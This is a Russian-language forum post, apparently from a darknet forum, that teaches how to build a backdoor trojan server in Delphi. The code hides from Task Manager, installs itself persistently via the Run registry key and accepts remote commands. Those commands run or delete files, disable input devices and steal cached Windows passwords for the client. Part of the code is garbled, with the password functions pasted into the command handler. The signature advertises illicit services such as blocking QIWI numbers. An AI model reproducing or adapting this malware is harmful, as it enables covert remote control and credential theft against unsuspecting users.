BackDoor – это троянский конь, состоящий из клиент и сервера. Клиент посылает серверу данные, а сервер их обрабатывает и выполняет какие-то действия. Для начала будет создавать сервер. Войдем в Delphi, нажимаем File -> New Application. У нас появляется пустая форма, назовем её frmsrv. Нажимаем Project -> View Source, стираем там все и пишем: code: Код: program Server; uses Forms, Unit1 in 'Unit1.pas' {frmsrv}; begin Application.Initialize; Application.CreateForm(TFrmsrv, frmsrv); Application.ShowMainForm:=false; //чтобы главная форма не показывалась Application.Run; end. Уменьшим её размер (это не обязательно) и положим на форму компонент TServerSocket из раздела Internet, назовем его SrvMain.И компонент TfileListBox из раздела Win 3.1,назовем TfileListBox1. Приступим к написанию программного кода. Создадим процедуру запуска трояна при каждой загрузке Windows и скрытия его от Alt+Ctrl+Del. Заходим в программный код, добавляем в uses модуль Registry и пишем после строки {$R *.DFM} code: Код: Type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;stdcall; Type TWNetEnumCachedPasswords = function (lp : lpStr; w : Word;b: Byte; pc : Pointer; dw : DWord) : Word;stdcall; procedure HideACD; // Процедура для скрытия трояна от Alt+Ctrl+Del var hndl : thandle; registerserviceprocess : tregisterserviceprocess; begin try hndl:=loadlibrary('KERNEL32.DLL'); //Загружаем в память библиотеку registerserviceprocess:=getprocaddress(hndl,'Regis terServiceProcess'); registerserviceprocess(getcurrentprocessid,1); //Используем функцию RegisterServiceProcess freelibrary(hndl); // выгружаем библиотеку из памяти except end; end; function WinDir: string; var intLen:integer; strBuffer:string; begin SetLength(strBuffer,1000); intLen:=GetWindowsDirectory(PChar(strBuffer),1000) ; WinDir:=Trim(Copy(strBuffer,1,intLen)); end; function SysDir: string; // Определение системной папки var intLen:integer; strBuffer:string; begin SetLength(strBuffer,1000); intLen:=GetSystemDirectory(PChar(strBuffer),1000); SysDir:=Trim(Copy(strBuffer,1,intLen)); end; procedure Install; var Reg:TRegistry; cPath,Win:string; begin try Win:=SysDir+’sys32.exe’; // Путь в системной папке cPath:=Application.ExeName; // Путь к нашему exe-файлу Reg:=TRegistry.Create; Reg.RootKey:=HKEY_LOCAL_MACHINE; //пишемся в реестр Reg.OpenKey('\Software\Microsoft\Windows\CurrentVe rsion\Run',False); //Открвыем ключ //автозапуска code: Код: Reg.WriteString(‘Sys32’,Win); // Пишем путь к себе Reg.CloseKey; // Закрываем ключ Reg.Free; if (cPath <> Win) then // если путь запущенного файла не равен путю файл в системной папке, то begin if FileExists(Win) then DeleteFile(Win); // если файл существует - удалить CopyFile(PChar(cPath),PChar(Win),False); // скопировать себя. end; except end; // Также по желанию можно добавить прописывание в Win.ini и System.ini end; Нажимаем F11, у нас появляется (если не было) Object Inspector, выбираем в списке SrvMain. Ставим порт 567 или любой другой. К этому порту будет подключаться клиент. Затем переходим на вкладку Events и 2 раза жмем мышой рядом с надписью OnClientRead. У нас открывается программный код. Вот там и пишем: code: Код: procedure TFrmSrv.SrvMainClientRead(Sender: TObject; Socket: TCustomWinSocket); var comd,param,str1,tmp: string; i:integer; Reg:Tregistry; begin str1:=socket.receivetext; // Принимаем данные от клиента i:=pos('!?!',str1); comd:=copy(str1,0,i-1); param:=copy(str1,i+3,length(str1)-i); if comd='reboot' then //если текст идущий до !?! равен reboot, то грузануть комп! begin ExitWindowsEx(EWX_REBOOT, 0); Socket.SendText('tmp!?!Перезагружает� �я...'); end; if comd='opCD' then //открыть сидюк begin mciSendString(Pchar('set cdaudio door open'),nil,0,0); Socket.SendText('tmp!?!CD-ROM открыт...'); end; if comd='clCD'then begin mciSendString(Pchar('set cdaudio door closed'),nil,0,0); Socket.SendText('tmp!?!CD-ROM закрыт...'); end; if comd='dir'then //получить список файлов begin tmp:='file!?!'+ShowFile(param); Socket.SendText(tmp); end; if comd='run' then //запустить файл begin if FileExists (param) then begin ShellExecute(handle,'Open',PChar(param),nil,nil,1) ; Socket.SendText('tmp!?!Файл запущен...'); end else Socket.SendText('tmp!?!Не удалось запустить файл...'); end; if comd='del' then //удалить файл begin if FileExists (param) then begin DeleteFile(param); Socket.SendText('tmp!?!Файл удален...'); end else Socket.SendText('tmp!?!Не удалось удалить файл...'); end; if comd='boot' then begin ExitWindowsEx(EWX_SHUTDOWN, 0); Socket.SendText('tmp!?!Комп выключатеся...'); end; if comd='getpass' then //получить кешированные пароли begin Socket.SendText('pass!?!'+GetPasswords); end; if comd='close' then // закрыть сервер begin Socket.SendText('tmp!?!Сервер Закрыт...'); Application.Terminate; exit; end; if comd='killme' then begin Socket.SendText('tmp!?!Сервер удален...'); Reg:=TRegistry.Create; Reg.RootKey:=HKEY_LOCAL_MACHINE; Reg.OpenKey('\Software\Microsoft\Windows\CurrentVe rsion\Run',False); //Открываем ключ //автозапуска code: Код: Reg.deletevalue('Sys32'); // Удаляем Reg.Free; Application.Terminate; exit; end; if comd='dismouse' then // отключаем мышь Код: var Count:Integer; FPasswords:string; function AddPassword(WinPassword:PWinPassword; dwWord):LongBool;stdcall; var Password:string; PC: array [0..$FF] of Char; begin Inc(Count); Move(WinPassword.PasswordC,PC,WinPassword.Resource Size); PC[WinPassword.ResourceSize] := #0; CharToOem(PC,PC); Password:=StrPas(PC); Move(WinPassword.PasswordC,PC,WinPassword.Resource Size + WinPassword.PasswordSize); Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize); PC[WinPassword.PasswordSize]:=#0; CharToOem(PC,PC); Password:=Password + ': ' + StrPas(PC); if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then FPasswords:=FPasswords + Password + #13#10; Result:=True; end; function TFrmSrv.GetPasswords:string; var hndl : thandle; WNetEnumCachedPasswords : TWNetEnumCachedPasswords; begin try hndl:=loadlibrary('MPR.DLL'); WNetEnumCachedPasswords:=getprocaddress(hndl,'WNet EnumCachedPasswords'); Count:=0; FPasswords:=''; WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0); freelibrary(hndl); except end; Result:=FPasswords; end; begin Socket.SendText('tmp!?!Мышь отключена...'); WinExec(PChar(WinDir + '\rundll32.exe mouse,disable'),SW_SHOWNORMAL); end; if comd='diskey' then // отключаем клаву begin Socket.SendText('tmp!?!Клава отключена...'); WinExec(PChar(WinDir + '\rundll32.exe keyboard,disable'),SW_SHOWNORMAL); end; if comd='msg' then // выдаем месагу begin MessageBox(application.Handle,PChar(param),'',32); Socket.SendText('tmp!?!Сообщение послано...'); end; end; В процедуре создания формы пишем: procedure TFrmSrv.FormCreate(Sender: TObject); begin HideACD; // прячемся от Ctrl+Alt+Del Install; // устанавливаемся SrvMain.Open; // открываем порт SrvMain.Active:=true; end; И функции для получения паролей и списка файлов. code: Код: var Count:Integer; FPasswords:string; function AddPassword(WinPassword:PWinPassword; dwWord):LongBool;stdcall; var Password:string; PC: array [0..$FF] of Char; begin Inc(Count); Move(WinPassword.PasswordC,PC,WinPassword.Resource Size); PC[WinPassword.ResourceSize] := #0; CharToOem(PC,PC); Password:=StrPas(PC); Move(WinPassword.PasswordC,PC,WinPassword.Resource Size + WinPassword.PasswordSize); Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize); PC[WinPassword.PasswordSize]:=#0; CharToOem(PC,PC); Password:=Password + ': ' + StrPas(PC); if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then FPasswords:=FPasswords + Password + #13#10; Result:=True; end; function TFrmSrv.GetPasswords:string; var hndl : thandle; WNetEnumCachedPasswords : TWNetEnumCachedPasswords; begin try hndl:=loadlibrary('MPR.DLL'); WNetEnumCachedPasswords:=getprocaddress(hndl,'WNet EnumCachedPasswords'); Count:=0; FPasswords:=''; WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0); freelibrary(hndl); except end; Result:=FPasswords; end; Все! Сервер завершен! Теперь осталось написать клиент, который к этому серверу будет присоединяться, но писать мы его не будем! Думаю и самим несложно будет это сделать.Размер сервера получился не маленьким, но если сжать упаковщик, то будет всего 150 КБ. Ну вот и рассмотрели пример простейшего BackDoor’a на Delphi. Не так то уж это и сложно. [/INDENT] [FONT=Tahoma][SIZE=3][B][COLOR=#000000]Предлагаю услуги по:[/COLOR][/B][/SIZE][/FONT] [B][FONT=Tahoma][COLOR=rgb(191, 191, 191)][SIZE=4]1. [URL='https://bestdarkforum.cc/threads/sozdam-zerkalo-ljubogo-sajta-v-seti-tor.3329/']Сделаю зеркало любого сайта в сети ТОR[/URL][/SIZE] 2. [URL='https://bestdarkforum.cc/threads/zablokiruju-ljuboj-nomer-qiwi.3253/']Блокировка ЛЮБОГО QIWI Номера (Быстро)[/URL][/COLOR][/FONT][/B] [FONT=Tahoma][SIZE=3][COLOR=#bfbfbf] [IMG]https://i.imgur.com/Nl8lVi9.gif[/IMG] Мануалы и софт выложены в ознакомительных целях вся ответственность за использования ложится на вас. Софт советую использовать на виртуалке.[/COLOR][/SIZE][/FONT]